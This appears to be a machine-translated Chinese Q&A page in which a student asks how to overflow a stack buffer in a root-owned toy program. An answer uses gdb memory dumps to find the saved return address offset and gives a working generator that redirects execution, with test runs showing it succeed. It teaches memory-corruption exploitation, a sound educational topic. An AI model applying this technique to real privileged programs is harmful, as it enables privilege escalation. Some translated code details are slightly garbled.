我正在尝试使用缓冲区溢出来访问root用户（纯粹出于教育目的）
我已编写以下代码将所需输入写入错误文件
int main(int argc, char **argv) {
char buffer[512];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, 512);
/*First 20 characters for buffer*/
strcpy(buffer, "a b c d e f g h i j ");
/*Over write the next 8 characters*/
strcat(buffer, "a b c d ");
/*Overwrite return address*/
strcat(buffer, argv[1]);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 512, 1, badfile);
fclose(badfile);
}
这是应该由具有root访问权限的程序执行的代码
int bof(char *str){
char buffer[20];
/* The following allows buffer overflow */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv) {
char str[BSIZE];
FILE *badfile;
char *badfname = "badfile";
badfile = fopen(badfname, "r");
fread(str, sizeof(char), BSIZE, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
我希望从badfile读取的输入更改bof的返回地址，以便它将返回到我也写入错误文件输入的代码。但是我只是用我当前的代码获得seg错误。我知道这意味着我正在将新的返回地址写入错误的内存部分，但我不确定如何找到正确的写入位置。 我在32位虚拟机上运行并包含第二段代码的gdb反汇编
Dump of assembler code for function main:
0x080484d6 <main+0>: lea 0x4(%esp),%ecx
0x080484da <main+4>: and $0xfffffff0,%esp
0x080484dd <main+7>: pushl -0x4(%ecx)
0x080484e0 <main+10>: push %ebp
0x080484e1 <main+11>: mov %esp,%ebp
0x080484e3 <main+13>: push %ecx
0x080484e4 <main+14>: sub $0x224,%esp
0x080484ea <main+20>: movl $0x8048623,-0x8(%ebp)
0x080484f1 <main+27>: movl $0x804862b,0x4(%esp)
0x080484f9 <main+35>: mov -0x8(%ebp),%eax
0x080484fc <main+38>: mov %eax,(%esp)
0x080484ff <main+41>: call 0x80483a0 <fopen@plt>
0x08048504 <main+46>: mov %eax,-0xc(%ebp)
0x08048507 <main+49>: mov -0xc(%ebp),%eax
0x0804850a <main+52>: mov %eax,0xc(%esp)
0x0804850e <main+56>: movl $0x200,0x8(%esp)
0x08048516 <main+64>: movl $0x1,0x4(%esp)
0x0804851e <main+72>: lea -0x20c(%ebp),%eax
0x08048524 <main+78>: mov %eax,(%esp)
0x08048527 <main+81>: call 0x80483e0 <fread@plt>
0x0804852c <main+86>: lea -0x20c(%ebp),%eax
0x08048532 <main+92>: mov %eax,(%esp)
---Type <return> to continue, or q <return> to quit---
0x08048535 <main+95>: call 0x80484a4 <bof>
0x0804853a <main+100>: movl $0x804862d,(%esp)
0x08048541 <main+107>: call 0x80483d0 <puts@plt>
0x08048546 <main+112>: mov $0x1,%eax
0x0804854b <main+117>: add $0x224,%esp
0x08048551 <main+123>: pop %ecx
0x08048552 <main+124>: pop %ebp
0x08048553 <main+125>: lea -0x4(%ecx),%esp
0x08048556 <main+128>: ret
End of assembler dump.
(gdb)
(gdb) disassemble bof
Dump of assembler code for function bof:
0x080484a4 <bof+0>: push %ebp
0x080484a5 <bof+1>: mov %esp,%ebp
0x080484a7 <bof+3>: sub $0x28,%esp
0x080484aa <bof+6>: mov 0x8(%ebp),%eax
0x080484ad <bof+9>: mov %eax,0x4(%esp)
0x080484b1 <bof+13>: lea -0x14(%ebp),%eax
0x080484b4 <bof+16>: mov %eax,(%esp)
0x080484b7 <bof+19>: call 0x80483b0 <strcpy@plt>
0x080484bc <bof+24>: lea -0x14(%ebp),%eax
0x080484bf <bof+27>: mov %eax,0x4(%esp)
0x080484c3 <bof+31>: movl $0x8048620,(%esp)
0x080484ca <bof+38>: call 0x80483c0 <printf@plt>
0x080484cf <bof+43>: mov $0x1,%eax
0x080484d4 <bof+48>: leave
0x080484d5 <bof+49>: ret
End of assembler dump.
答案 0 :(得分：1)
声明：
我使用的是带有gcc-4.8.3的窗口7（来自http://mingw-w64.org/doku.php），以及gdb版本7.8（也来自http://mingw-w64.org/doku.php）。此外，Windows 7似乎没有ASLR，就像我运行这个小测试程序时一样：
#include <stdio.h>
unsigned long find_start(void)
{
__asm__("movl %esp, %eax");
}
int main()
{
printf("0x%X\n", find_start();
return (0);
}
我得到相同的内存位置，如下所示：
Q:\>find_addr1
0x28fea8
Q:\>find_addr1
0x28fea8
Q:\>find_addr1
0x28fea8
该程序取自Chris Anley et。的“Shellcoder的手册：发现和利用安全漏洞”。 al。，评论： “..如果你注意到程序打印出来的地址每次都不同，这可能意味着你正在运行带有grsecurity补丁或类似内容的发行版。”如果你有不同的地址，它将使再现以下更加困难。例如，在我的Ubuntu-14.04 LTS系统上运行，我得到以下结果：
ubuntu:~/projects$ ./find_addr
0x4F5AF640
ubuntu:~/projects$ ./find_addr
0xCE71D3B0
ubuntu:~/projects$ ./find_addr
0xD4A21710
好的，既然预赛已经不在了，那就是你的榜样。因此，使用您的代码生成'badfile`，我创建了这个文件：
Q:\SE_test>genFile 0x43434343
Q:\SE_test>more badfile
a b c d e f g h i j a b c d 0x43434343ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
Q:\SE_test>
现在，让我们在GDB下运行易受攻击的程序，并在调用bof之前停止。此时的反汇编看起来像这样：
0x004015db <+92>: call 0x4027b8 <fread>
=> 0x004015e0 <+97>: lea 0x18(%esp),%eax
0x004015e4 <+101>: mov %eax,(%esp)
0x004015e7 <+104>: call 0x401560 <bof>
0x004015ec <+109>: movl $0x40402e,(%esp)
此时我们可以看一些感兴趣的值。首先，在调用bof（ 0x004015ec ）之后记下指令的地址，稍后我们将需要它。其次，我们可以检查一些重要的变量和寄存器：
(gdb) print str
$1 = "a b c d e f g h i j a b c d 0x43434343\000", '\220' <repeats 473 times>
(gdb) print $ebp
$2 = (void *) 0x28fec8
(gdb) print $esp
$3 = (void *) 0x28fca0
因此，我们现在在内存中知道找到main的激活帧，以及验证您是否正确读取了字符串。看看字符串的值，我确实看到了两个可能在以后引起问题的事情;
注意字符串中嵌入的null终止符（\ 000）？这将导致bof中的字符串副本停止。我们仍然应该得到缓冲区溢出。在shell代码中需要注意的事情是，我们不能使用0x00字节，并期望使用字符串处理函数。
请注意，我输入的地址（0x43434343）显示为文本而非地址。从我所知道的，这是使用Windows的结果;但是我们仍然可以看到我们写入内存的位置并检查事情是否在正确的位置。
现在我们可以进入bof，看看我们有什么：
(gdb) s
bof (str=0x28fcb8 "a b c d e f g h i j a b c d 0x43434343") at overflow1.c:13
13 strcpy(buffer, str);
(gdb) print $esp
$5 = (void *) 0x28fc60
(gdb) print $ebp
$6 = (void *) 0x28fc98
(gdb) x/80xb 0x28fc60
0x28fc60: 0x00 0x02 0x00 0x00 0x50 0xfc 0x28 0x00
0x28fc68: 0x60 0x29 0x76 0x76 0xc4 0xff 0x28 0x00
0x28fc70: 0xd5 0x8c 0x6e 0x76 0xc7 0x1f 0xa9 0x74
0x28fc78: 0xfe 0xff 0xff 0xff 0x6f 0xf4 0x6d 0x76
0x28fc80: 0xe0 0xf3 0x6d 0x76 0xb8 0xfc 0x28 0x00
0x28fc88: 0xff 0xff 0xff 0xff 0x01 0x00 0x00 0x00
0x28fc90: 0x00 0x02 0x00 0x00 0x60 0x29 0x76 0x76
0x28fc98: 0xc8 0xfe 0x28 0x00 0xec 0x15 0x40 0x00
0x28fca0: 0xb8 0xfc 0x28 0x00 0x01 0x00 0x00 0x00
0x28fca8: 0x00 0x02 0x00 0x00 0x60 0x29 0x76 0x76
此时，我们开始了解内存的布局，我们也可以查看内存的内容。特别有趣的是位于内存位置 0x28fc9c 和 0x28fca0 的值，我已在下图中输入：
address contents
+------------+
0x28fec8 | | <-- base pointer for main's stack frame
+------------+
| |
~ ~
~ ~
| |
+------------+
0x28fca0 | 0x0028fcb8 | <-- stack pointer for main's stack frame
+------------+
0x28fc9c | 0x004015ec | <--- stored eip
+------------+
0x28fc98 | 0x0028fec8 | <-- base pointer for bof's stack frame
+------------+
| |
~ ~
~ ~
| |
+------------+
0x28fc60 | | <-- stack pointer for bof's stack frame
+------------+
查看main的反汇编，我们可以看到调用bof后的下一条指令位于 0x004015ec ，我们可以看到它已经被压入内存位置的堆栈的 0x0028fc9c
既然已完成此分析，我们可以执行字符串副本，然后再次查看内存，看看我们做了什么（记住'a'的ASCII值为0x61，该空间的ASCII值为0x20 ）。作为参考，我们可以看到bof中的缓冲区位于0x000x28fc7c的内存地址
(gdb) x/80xb 0x28fc60
0x28fc60: 0x7c 0xfc 0x28 0x00 0xb8 0xfc 0x28 0x00
0x28fc68: 0x60 0x29 0x76 0x76 0xc4 0xff 0x28 0x00
0x28fc70: 0xd5 0x8c 0x6e 0x76 0xc7 0x1f 0xa9 0x74
0x28fc78: 0xfe 0xff 0xff 0xff 0x61 0x20 0x62 0x20
0x28fc80: 0x63 0x20 0x64 0x20 0x65 0x20 0x66 0x20
0x28fc88: 0x67 0x20 0x68 0x20 0x69 0x20 0x6a 0x20
0x28fc90: 0x61 0x20 0x62 0x20 0x63 0x20 0x64 0x20
0x28fc98: 0x30 0x78 0x34 0x33 0x34 0x33 0x34 0x33
0x28fca0: 0x34 0x33 0x00 0x00 0x01 0x00 0x00 0x00
0x28fca8: 0x00 0x02 0x00 0x00 0x60 0x29 0x76 0x76
我们对存储的 eip 所在地区特别感兴趣：
0x28fca8: 0x00 0x02 0x00 0x00
0x28fca4: 0x01 0x00 0x00 0x00
0x28fca0: 0x34 0x33 0x00 0x00
0x28fc9c: 0x34 0x33 0x34 0x33
0x28fc98: 0x30 0x78 0x34 0x33
从这看起来，我作为命令行参数输入的第一部分（0x43）覆盖了bof的 ebp 。从此我怀疑你需要在写出新地址之前在字符串中再添加四个字节。此外，您可能需要检查以确保正确处理命令行参数。
作为对此的测试，我稍微修改了两个程序：
首先，生成坏文件的程序被修改为：
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[512];
FILE *badfile;
int ndx;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, 512);
/*First n-characters for buffer*/
for(ndx = 0; ndx < atoi(argv[1]); ndx++)
buffer[ndx] = 'A';
/*Overwrite return address*/
buffer[ndx++] = 0x7f;
buffer[ndx++] = 0x15;
buffer[ndx++] = 0x40;
buffer[ndx++] = 0x00;
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 512, 1, badfile);
fclose(badfile);
return 0;
}
现在，您的命令行参数允许您在写入新的返回地址之前输入要写入文件的字节数。我还修改了你的易受攻击的程序，如下所示：
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BSIZE 512
int bof(char *str)
{
char buffer[20];
/* The following allows buffer overflow */
strcpy(buffer, str);
return 1;
}
void output()
{
printf("We should never see this\n");
exit(1);
}
int main(int argc, char **argv)
{
char str[BSIZE];
FILE *badfile;
char *badfname = "badfile";
badfile = fopen(badfname, "r");
fread(str, sizeof(char), BSIZE, badfile);
bof(str);
printf("Returned Properly\n");
return 0;
}
请注意，output实际上是死代码，但是快速反汇编，我发现output从 0x0040157f 开始。这是我在上面的genFile代码中输入缓冲区的值。现在
对于几个测试用例：
Q:\SE_test>gcc -ansi -pedantic -Wall genFile.c -o genFile
Q:\SE_test>gcc -ansi -pedantic -Wall overflow1.c -o overflow1
Q:\SE_test>genFile 28
Q:\SE_test>overflow1
Returned Properly (see note below)
Q:\SE_test>genFile 32
Q:\SE_test>overflow1
We should never see this
Q:\SE_test>
注意：在第一次运行中，即使程序显示“正确返回”，程序也会崩溃并且窗口显示“此程序已停止工作对话框”。
希望这有帮助，如果您有任何其他问题，请询问。 吨。